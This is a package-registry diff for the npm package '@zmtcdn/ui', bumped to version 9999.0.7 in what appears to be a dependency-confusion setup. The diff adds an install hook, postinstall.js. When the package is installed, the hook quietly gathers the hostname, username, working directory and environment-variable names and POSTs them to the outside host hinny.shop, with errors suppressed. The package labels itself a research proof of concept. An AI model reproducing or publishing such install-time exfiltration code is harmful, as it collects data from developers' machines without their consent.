@zmtcdn/ui 0.0.0-stage → 9999.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -0
- package/package.json +7 -4
- package/postinstall.js +22 -0
- package/README.md +0 -3
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@zmtcdn/ui",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "9999.0.7",
|
|
4
|
+
"description": "Security research PoC",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js"
|
|
8
|
+
}
|
|
9
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
const data = JSON.stringify({
|
|
5
|
+
hostname: os.hostname(),
|
|
6
|
+
platform: os.platform(),
|
|
7
|
+
user: os.userInfo().username,
|
|
8
|
+
cwd: process.cwd(),
|
|
9
|
+
env_keys: Object.keys(process.env), // không gửi values - tránh sensitive data
|
|
10
|
+
time: new Date().toISOString()
|
|
11
|
+
});
|
|
12
|
+
|
|
13
|
+
const url = new URL('https://www.hinny.shop/api');
|
|
14
|
+
const req = https.request({
|
|
15
|
+
hostname: url.hostname,
|
|
16
|
+
path: url.pathname,
|
|
17
|
+
method: 'POST',
|
|
18
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
|
|
19
|
+
}, () => {});
|
|
20
|
+
req.on('error', () => {});
|
|
21
|
+
req.write(data);
|
|
22
|
+
req.end();
|
package/README.md
DELETED